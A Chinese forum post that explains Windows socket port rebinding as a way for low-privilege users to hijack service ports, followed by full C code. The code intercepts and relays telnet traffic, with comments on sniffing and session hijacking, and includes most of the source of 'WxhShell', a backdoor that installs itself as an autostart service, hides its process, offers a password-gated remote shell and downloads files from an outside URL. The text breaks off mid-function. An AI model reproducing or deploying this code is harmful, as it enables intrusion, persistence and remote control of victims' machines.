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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: ]|t9B/()i  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); -S`TEX  
rAL1TU(vm  
  saddr.sin_family = AF_INET; n}42'9p  
J&'>IA  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); f<^ScFVR  
P`z7@9*j  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); M&eQ=vew.  
*1i?6$[ "  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 +J%6bn)U  
W3"vTZJF  
  这意味着什么?意味着可以进行如下的攻击: k"0%' Y  
c 3}x)aQ  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 cgzy0$8dj\  
L,O>6~9:^1  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) ]X/O IfdWe  
vi^z5n  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 >'ie!VW@  
f(^33k  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  Y=hP Erw  
N&x@_t""   
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 $#F;xys  
`CPZPp,l6`  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 s z;=mMr/Z  
bb*c+XN0  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 hT\p)w  
zwKg  
  #include  ~WzMK  
  #include ~}epq6L>  
  #include 3O#~dFnp  
  #include    GU2]/\W*a  
  DWORD WINAPI ClientThread(LPVOID lpParam);   owP6dtd)  
  int main() o]dK^[/*  
  { \o0z@Ntq  
  WORD wVersionRequested; |}l@w +N3  
  DWORD ret; M0Lon/%  
  WSADATA wsaData; b(g_.1[  
  BOOL val; Ar\IZ_Q  
  SOCKADDR_IN saddr; >+zAWK9  
  SOCKADDR_IN scaddr; U+:S7z@j?  
  int err; .%|OGl ?  
  SOCKET s; { +i;e]c  
  SOCKET sc; ^H f+du  
  int caddsize; @ARAX\F  
  HANDLE mt; "K9vm^xP  
  DWORD tid;   !a.3OpQ  
  wVersionRequested = MAKEWORD( 2, 2 ); W ]a7&S  
  err = WSAStartup( wVersionRequested, &wsaData ); FRb&@(;  
  if ( err != 0 ) { mMel,iK=  
  printf("error!WSAStartup failed!\n"); $_4oN(WSz  
  return -1; jI@bTS o  
  } U/}AiCdj@  
  saddr.sin_family = AF_INET; Uh<H*o6e 9  
   d w|-=~  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 DMy4"2 o  
B7NmET4  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); Lr!L}y9T+  
  saddr.sin_port = htons(23); s?4%<jz  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) de3yP,  
  { l|4xKBCV]  
  printf("error!socket failed!\n"); H[>klzh6 !  
  return -1; %#[r_QQ^  
  } ;mCGh~?G  
  val = TRUE; +OV%B .  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 l:>qR/|m  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) "~ .8eKRQ  
  { }Bv30V2-(  
  printf("error!setsockopt failed!\n"); ~ex~(AWh  
  return -1; S-H-tFy\\  
  } S jC)6mo  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; Requ.?!fG;  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 7J #g1  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 eH"qI2A  
5$ (b3]  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) 'fp<FeTg  
  { NgDZ4&L  
  ret=GetLastError();  eLe,=  
  printf("error!bind failed!\n"); 75QXkJu  
  return -1; F[Guy7?O  
  } j]cXLY  
  listen(s,2); A8A:@-e8A  
  while(1) KT]J,b  
  { H| eD/6K  
  caddsize = sizeof(scaddr); .3S\Rrv  
  //接受连接请求 ,_wm,  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); E@\d<c.  
  if(sc!=INVALID_SOCKET) h^.tom g8  
  { //`cwnjp  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); RE(=! 8lGR  
  if(mt==NULL) f4A4  
  { _E x*%Qf.  
  printf("Thread Creat Failed!\n"); Q]2sj:  
  break; hi4h0\L!}  
  } ;r0|_mnf  
  } 0|K/=dh5+  
  CloseHandle(mt); \E ? iw.}  
  } C7XS6Nqu  
  closesocket(s); !#_h2a  
  WSACleanup(); o|p;6  
  return 0; KV) Hywl`  
  }   d~P<M3#>  
  DWORD WINAPI ClientThread(LPVOID lpParam) i_jax)m%  
  { #NVF\  
  SOCKET ss = (SOCKET)lpParam; =:v><  
  SOCKET sc; VDb,$i.Z0  
  unsigned char buf[4096]; 8VAYIxRv  
  SOCKADDR_IN saddr; T9U2j-lA?  
  long num; E9Qd>o  
  DWORD val; D:RBq\8  
  DWORD ret; b}}1TnS)  
  //如果是隐藏端口应用的话,可以在此处加一些判断 5pKvNLy.t  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   d =B@EyN  
  saddr.sin_family = AF_INET; F'Y 2f6B  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); p'uqh e X  
  saddr.sin_port = htons(23); 9wDBC~.  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) #sm_.?P  
  { 67K RM(S  
  printf("error!socket failed!\n"); fa*H cz  
  return -1; 08d_DCR  
  } nDoiG#N0  
  val = 100; #<PA- y  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) 3Q!J9t5dc  
  { kS\.  
  ret = GetLastError(); +ia(%[  
  return -1; yBD2  
  } &xiDG=I#  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) Jv4D^>yj[  
  { +~i+k~{`H  
  ret = GetLastError(); 33,JUQ2u  
  return -1; y T1Qep  
  } nTlv'_Y(  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) d;NFkA(df  
  { 5{d9,$%8&  
  printf("error!socket connect failed!\n"); >fZ/09&3  
  closesocket(sc); w;SH>Ax:  
  closesocket(ss); ;KZtW  
  return -1; sY;gh`4h  
  } Mn }Z9S[  
  while(1) 1N$gE  
  { w#G=Z_Tt  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 %[\Ft  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 i\Q"a B"r  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 N>nvt.`P  
  num = recv(ss,buf,4096,0); <K=B(-~  
  if(num>0) c%LB|(@j{  
  send(sc,buf,num,0); b\0Q:  
  else if(num==0) L..X)-D2 n  
  break; )Y,?r[4{  
  num = recv(sc,buf,4096,0); sc $QbOc  
  if(num>0) W6xjqNU  
  send(ss,buf,num,0); n-b<vEZw#  
  else if(num==0) tId !C  
  break; };|PFWs  
  } o? O,nD 6  
  closesocket(ss); ~h^}W$pO  
  closesocket(sc); $@qs(Xwr  
  return 0 ; j.'"CU  
  } xE-c9AH  
:%b2;&A[  
5f*'wA  
========================================================== lQ<n dt~  
?^$4)Y>Kf  
下边附上一个代码,,WXhSHELL hC, -9c  
  6[|<  
========================================================== aq,)6P`  
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#include "stdafx.h" /e?ux~f|  
A{Htpm~  
#include <stdio.h> aLk2#1$g  
#include <string.h> m3xj5]#^$  
#include <windows.h> kbT-Oz  2  
#include <winsock2.h> O-lh\9{'R  
#include <winsvc.h> 4x{ti5Y0  
#include <urlmon.h> jKV?!~/F  
zu*G4?]~h  
#pragma comment (lib, "Ws2_32.lib") sAN:C{  
#pragma comment (lib, "urlmon.lib") ;q&D,4r]  
jzA8f+:q  
#define MAX_USER   100 // 最大客户端连接数 r\ Yur  
#define BUF_SOCK   200 // sock buffer >;r05,mc  
#define KEY_BUFF   255 // 输入 buffer dlzamoS@AR  
g7z9i[  
#define REBOOT     0   // 重启 JR<-'  
#define SHUTDOWN   1   // 关机 .d!*<`S|  
n9/0W%X>  
#define DEF_PORT   5000 // 监听端口 HWfX>Vf>}k  
=egi?Ne  
#define REG_LEN     16   // 注册表键长度 k\<Ln w  
#define SVC_LEN     80   // NT服务名长度 @OY-(cW  
0\ w[_H  
// 从dll定义API *#^1rKGWK  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); qq_,"~  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); ^`MDP`M;  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); ~d `4W<1a  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); ;GT)sI   
Jb.u^3R@  
// wxhshell配置信息 Ib8{+j  
struct WSCFG { khIa9Nm  
  int ws_port;         // 监听端口 ViT 5Jn7  
  char ws_passstr[REG_LEN]; // 口令 ?[B[ F  
  int ws_autoins;       // 安装标记, 1=yes 0=no 2\tjeg  
  char ws_regname[REG_LEN]; // 注册表键名 htrj3$q(4  
  char ws_svcname[REG_LEN]; // 服务名 6SO7iFS  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 6%INNIyAWa  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 }Q^a.`h  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 *>$)#?t  
int ws_downexe;       // 下载执行标记, 1=yes 0=no [IBk-opap  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" AX RNV  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 }/r%~cZ  
_:p_#3s$  
}; }Y ];ccT  
tRBK1h  
// default Wxhshell configuration =?Md&%j  
struct WSCFG wscfg={DEF_PORT, I8]NY !'cW  
    "xuhuanlingzhe", PM>XT  
    1, AHD%6 \$  
    "Wxhshell", hBE>ea  
    "Wxhshell", pDq_nx9  
            "WxhShell Service", TPFmSDq  
    "Wrsky Windows CmdShell Service", f:&OOD o  
    "Please Input Your Password: ", "]V|bz o0a  
  1, * .VZ(wX  
  "http://www.wrsky.com/wxhshell.exe", 1+}Ud.v3VW  
  "Wxhshell.exe" V>92/w.fe  
    }; <1.mm_pw  
-%) !XB  
// 消息定义模块 ;O|63  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 2B dr#qr  
char *msg_ws_prompt="\n\r? for help\n\r#>"; `2+e\%f/0  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; .LR>&N_U  
char *msg_ws_ext="\n\rExit."; I'b]s~u  
char *msg_ws_end="\n\rQuit."; ea>\.D-S  
char *msg_ws_boot="\n\rReboot..."; B&N&eRAE  
char *msg_ws_poff="\n\rShutdown..."; Z`c{LYP,y"  
char *msg_ws_down="\n\rSave to "; v nC&1  
QXj(U&#rp  
char *msg_ws_err="\n\rErr!"; S5a<L_  
char *msg_ws_ok="\n\rOK!"; qDd/wR,44  
/mu4J|[[  
char ExeFile[MAX_PATH]; E2kRt'~N  
int nUser = 0; JW'acD  
HANDLE handles[MAX_USER]; hP<qKVy  
int OsIsNt; Q 9<_:3  
r!,V_a4n  
SERVICE_STATUS       serviceStatus; f.^w/ GJO/  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; ScoHtX3  
oz@6%3+  
// 函数声明 7!nAWlQ&-E  
int Install(void); Hvo27THLo  
int Uninstall(void); Y{tuaBzD  
int DownloadFile(char *sURL, SOCKET wsh); *7ro [  
int Boot(int flag); ?} tQaj  
void HideProc(void); {K8T5zrV  
int GetOsVer(void); -V/i%_+Ze  
int Wxhshell(SOCKET wsl); (k&aD2PH  
void TalkWithClient(void *cs); 0*@S-Lj^c  
int CmdShell(SOCKET sock); D+""o"%  
int StartFromService(void); jloyJ@ck  
int StartWxhshell(LPSTR lpCmdLine); M[_I16s  
BmX Gk  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); n$l]+[>  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); %([H*sLX  
\hN2w]e  
// 数据结构和表定义 Z"+!ayA7D  
SERVICE_TABLE_ENTRY DispatchTable[] = oF xVK  
{ k"{U}Y/}  
{wscfg.ws_svcname, NTServiceMain}, N&`ay{&`:  
{NULL, NULL} ;g]+MLV9  
}; r^^C9"  
1Di&vpn0u  
// 自我安装 uK5x[m  
int Install(void) oH"N>@Vl  
{ 0+pJv0u  
  char svExeFile[MAX_PATH]; .9Fm>e+!C  
  HKEY key; ZE` {J =,  
  strcpy(svExeFile,ExeFile); c$fM6M }  
P,_E 4y  
// 如果是win9x系统,修改注册表设为自启动 1hij4m$b  
if(!OsIsNt) { a"aV&t  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { l:f sZO4  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ?s33x#  
  RegCloseKey(key); cyNLeg+O*  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { musxX58%  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Zh^w)}(W  
  RegCloseKey(key);  64fG,b  
  return 0; Kjw\SQ)2~  
    } #KW:OFT  
  }  ?~IZ{!  
} 3IFU{0a`  
else { UI;{3Bn  
Lai"D[N  
// 如果是NT以上系统,安装为系统服务 Shz;)0To  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); m@~x*+Iz  
if (schSCManager!=0)  U2$T}/@  
{ 4PQWdPv;  
  SC_HANDLE schService = CreateService 7!%"8Rl-  
  ( f lB2gr^  
  schSCManager, .SN]hLV5  
  wscfg.ws_svcname, T 1=M6iJ  
  wscfg.ws_svcdisp, X2v'9 x  
  SERVICE_ALL_ACCESS, z?,5v`,t2  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , <b I,y_<K  
  SERVICE_AUTO_START, ? Q}{&J  
  SERVICE_ERROR_NORMAL, VIzZmd  
  svExeFile, q?&&:.H"?5  
  NULL, rI/KrBM  
  NULL, YyIt-fPZ  
  NULL, %>TdTt  
  NULL, zn|}YovY+  
  NULL 5Y^ YKV{  
  ); )3sb 2 #  
  if (schService!=0) mN02T@R-  
  { za7wNe(s  
  CloseServiceHandle(schService); _wCSL.  
  CloseServiceHandle(schSCManager); e$=|-J z  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); LKcrr;  
  strcat(svExeFile,wscfg.ws_svcname); @HI5; z  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { }R$%MU5::  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); plfB} p  
  RegCloseKey(key); I2'?~Lt  
  return 0; $hio (   
    } gp=0;#4 4  
  } o1\8>Ew  
  CloseServiceHandle(schSCManager); &bQ^J%\  
} 9"S3AEI  
} '! (`?  
UB}mI0/w  
return 1; u:ISwAp  
} hM}2++V  
Kl?1)u3^4  
// 自我卸载 {NR~>=~K-  
int Uninstall(void) 7~'@m(9e  
{ G<'S  
  HKEY key; 9[M u   
7(H/|2;-d8  
if(!OsIsNt) { zYgLGwi{  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { J++D\x#@  
  RegDeleteValue(key,wscfg.ws_regname); xX ZN<<f59  
  RegCloseKey(key); wal }[F#  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Sgj6tH2M  
  RegDeleteValue(key,wscfg.ws_regname); }_ E  
  RegCloseKey(key); ;q Z2V  
  return 0; K#jm6Xh?E  
  } I/g]9 y  
} 6F2}|c  
} #LiC@>  
else { RMXP)[  
\B)<<[ $  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); wr`eBPu  
if (schSCManager!=0) v|6fqG+Q\  
{ y@I"Hk<T  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); k4v[2y`  
  if (schService!=0) ',f[y:v;  
  { U|=y&a2Rb  
  if(DeleteService(schService)!=0) { #u_-TWVt  
  CloseServiceHandle(schService); I,D=ixK  
  CloseServiceHandle(schSCManager); 'PZJ{8=  
  return 0; Gx m"HC  
  } `|R{^Sk1o  
  CloseServiceHandle(schService); K\G|q}E/1  
  } ;6?K&}J)-  
  CloseServiceHandle(schSCManager); rgr> ;   
} Wxjpe4  
} rlD@O~P4  
Ch3##-  
return 1; U/>5C:  
} +xMDm_TGLA  
RaAq>B WPr  
// 从指定url下载文件 pS0T>r  
int DownloadFile(char *sURL, SOCKET wsh) b> | oU  
{ -Db(  
  HRESULT hr; g(1'i1  
char seps[]= "/"; c c:xT0Y  
char *token; ~1p f ?  
char *file; Z\x6  
char myURL[MAX_PATH]; ,~v1NK*  
char myFILE[MAX_PATH]; \2YhI0skW  
b~r ?#2K  
strcpy(myURL,sURL); 79\ =)m}$Q  
  token=strtok(myURL,seps); "='|c-x  
  while(token!=NULL) wjkN%lPfvj  
  { &3rh{"^9  
    file=token; ?pFHpz   
  token=strtok(NULL,seps); k:f Rk<C  
  } q+<TD#xoL  
@Z)&3ss  
GetCurrentDirectory(MAX_PATH,myFILE); ~/t# J  
strcat(myFILE, "\\"); 6`'^$wKs  
strcat(myFILE, file); di"*K*~y  
  send(wsh,myFILE,strlen(myFILE),0); [X|P(&\hQd  
send(wsh,"...",3,0); @uc%]V<:k  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); m|!sY[!  
  if(hr==S_OK) d/e9LK  
return 0; 7{6wNc  
else fy-( B;  
return 1; yt?# T #  
X]N8'Yt  
} _b+3;Dy  
Q?~l=}2  
// 系统电源模块 #N*~Q  
int Boot(int flag) {|qz>  
{ .NjOaK)\  
  HANDLE hToken; 0'gJSrgNI  
  TOKEN_PRIVILEGES tkp; y<)x`&pcD  
fNQecDuS  
  if(OsIsNt) { L;Nm"[ `  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); tYnNOK*|  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); STO6cNi  
    tkp.PrivilegeCount = 1; AtSEKpKc  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; GZse8ng  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); <=WQs2  
if(flag==REBOOT) { J5429Soo  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) f)>=.sp  
  return 0; hW(Mf  
} &P rx=L`  
else { hS<+=3 <M  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) E#J+.&2  
  return 0; b*7OIN5h  
} <~'\~Zd+  
  } >=wlS\:"  
  else { XSXS;Fh)  
if(flag==REBOOT) { gz8<&*2  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) ^[2A< g  
  return 0; *U8Pjb1  
} h60*=+vdJ  
else { WJ8i,7  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) f Vw+8[d0  
  return 0; woQYP,  
} ,'[0tl}8K  
} =j6f/8   
FgLV>#)-  
return 1; 6Z0@4_Y@B6  
} XB zcbS+  
_uID3N%  
// win9x进程隐藏模块 Y$shn]~  
void HideProc(void) n)gzHch  
{ YRqIC -_  
# 2s$dI  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); 2/3,%5j_  
  if ( hKernel != NULL ) ,!Gw40t  
  { eNR>W>;'  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); xx_]e4  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); 8i;EpAwB  
    FreeLibrary(hKernel); z1K@AaRx  
  } R_`i=>Z-  
zuwlVn  
return; NJRk##Z  
} _SY4Q s`d  
1:(qoA:  
// 获取操作系统版本 R.-2shOE'  
int GetOsVer(void) @lRTp  
{ 9ePG-=5I  
  OSVERSIONINFO winfo; %We~k'2f  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); ci a'h_w  
  GetVersionEx(&winfo); 9Ra*bP ]1  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) /_rEI,[k  
  return 1; (R5n ND  
  else Dk[m)]w\  
  return 0; 9!&fak _  
} V i V3Y  
ErnjIx:  
// 客户端句柄模块 ;EDc1:  
int Wxhshell(SOCKET wsl) ~.;+uH<i  
{ YMb\v4  
  SOCKET wsh; >)\x\e  
  struct sockaddr_in client; m^I+>Bp/:  
  DWORD myID; F%M4i`Vh  
)RG@D\t,  
  while(nUser<MAX_USER) p=sL KnLmZ  
{ q% *-4GP  
  int nSize=sizeof(client); dp;;20z  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); RrB)u?  
  if(wsh==INVALID_SOCKET) return 1; trlZ^K  
@/jLN  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); ~xfoZiIA}  
if(handles[nUser]==0) Zcst$Aro  
  closesocket(wsh); 4u0\|e@a  
else z 3((L  
  nUser++; {P/ sxh:e  
  } o\<m99Ub  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); B"KDr_,,  
[&H$Su}$0  
  return 0; H[oCI|k  
} - QPM$  
n@1;5)&k~  
// 关闭 socket <7  
void CloseIt(SOCKET wsh) \<n 9kwU  
{ +ftOJFkI  
closesocket(wsh); [k<"@[8)  
nUser--; %PF:OB6[|  
ExitThread(0); uO]^vP]fT  
} +`jI z'+  
Q5K<ECoPk  
// 客户端请求句柄 v$n J$M&k  
void TalkWithClient(void *cs) &>%R)?SZh  
{ r [NI#wW  
Wb)>APL  
  SOCKET wsh=(SOCKET)cs; 8)KA {gN}  
  char pwd[SVC_LEN]; rHSA5.[1P  
  char cmd[KEY_BUFF]; 322)r$!"  
char chr[1]; c>~q2_} W(  
int i,j; HLL:nczj  
KCDbE6  
  while (nUser < MAX_USER) { 7A,QA5G ]C  
U-]Rm}X\M  
if(wscfg.ws_passstr) { *- S/{ .&  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); !Py SYY  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ;~^9$Z@%Q  
  //ZeroMemory(pwd,KEY_BUFF); th :I31  
      i=0; b '9L}q2m  
  while(i<SVC_LEN) { 9e aqq  
6Wn"h|S  
  // 设置超时 I38j[Xk  
  fd_set FdRead; o)B`K."  
  struct timeval TimeOut; v,eTDgw  
  FD_ZERO(&FdRead); tMy<MO)Ei  
  FD_SET(wsh,&FdRead); U07 G&? /  
  TimeOut.tv_sec=8; tJ qd  
  TimeOut.tv_usec=0; AiDV4lHr  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); J$+K't5BZ  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); U??T>  
=!R+0  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); FS+v YqwK  
  pwd=chr[0]; !dcG Bj  
  if(chr[0]==0xd || chr[0]==0xa) { |0wHNRN_  
  pwd=0; !kpnBgmU  
  break; ^7p>p8  
  } 3Yb2p!o  
  i++; ZH s' #  
    } th4yuDPuA  
I\y=uC  
  // 如果是非法用户,关闭 socket }Ghh%]  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 9im<J'  
} USDqh437  
o6b\ w  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); _T^+BUw  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); fGf C[DuY  
 MYk%p'  
while(1) { Nn:>c<[  
:~PzTUz  
  ZeroMemory(cmd,KEY_BUFF); '#*5jn]CqB  
6 @X j  
      // 自动支持客户端 telnet标准   CS\ E]f  
  j=0; A}h`%b  
  while(j<KEY_BUFF) { =X24C'!Mpe  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); .I1k+   
  cmd[j]=chr[0]; uK!G-1   
  if(chr[0]==0xa || chr[0]==0xd) { ohW qp2~  
  cmd[j]=0; tUrwg  
  break; 15)y]N={^  
  } }$wWX}@  
  j++; [m+):q^  
    } Jmcf9g  
?E2$  
  // 下载文件 h+"UK=  
  if(strstr(cmd,"http://")) { &X%vp?p  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); {zmh0c; |  
  if(DownloadFile(cmd,wsh)) a*T=;P3(I  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); JsY|Fv  
  else VKtZyhK"h  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Kc,=J?Ob  
  } *$6dNx  
  else { D>>?8a  
qHtonJc  
    switch(cmd[0]) { d:"#_  
  VAL]\@Q}  
  // 帮助 ~IhLjE  
  case '?': { 6.(L8.jv  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); %+F%C=GqI  
    break; @ 5tW*:s  
  } $eQf5)5  
  // 安装 X 8#Uk}/  
  case 'i': { 67]kT%0  
    if(Install()) ROWrkJI>i  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); _=*ph0nu  
    else UU;U,q  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ab/^z0GT  
    break; t_\;G~O9-M  
    } R{3vPG  
  // 卸载 6{8dv9tK  
  case 'r': { %X^K5Io  
    if(Uninstall()) )o[Jxu'  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); $6Az\Iu *  
    else -]$=.0 l  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 4n 9c  
    break; qbZY[Q+F  
    } :3h'Hr  
  // 显示 wxhshell 所在路径 e4rhB"qQdn  
  case 'p': { }]K^b1Fs5  
    char svExeFile[MAX_PATH]; Ee0}Xv  
    strcpy(svExeFile,"\n\r"); `= FDNOwp  
      strcat(svExeFile,ExeFile); y'#i'0eeL  
        send(wsh,svExeFile,strlen(svExeFile),0); PrwMR_-  
    break; -s5>GwZt  
    } 2"IsNbWV  
  // 重启 ~V`F5B  
  case 'b': { 8-clL\bm  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); Uk0Fo(HY  
    if(Boot(REBOOT)) \]$TBN dJ4  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); "eOFp\vPr  
    else { G~$[(Fhk  
    closesocket(wsh); j7u\.xu9  
    ExitThread(0); hxX-iQya  
    } 1O@y >cV  
    break; ;:l>Kac  
    } [/'=M h  
  // 关机 WPXLN'w+  
  case 'd': { jYJRG<*e  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); )&$p?kF  
    if(Boot(SHUTDOWN)) 1.6Y=Mh=i[  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); \-eDNwJ:#@  
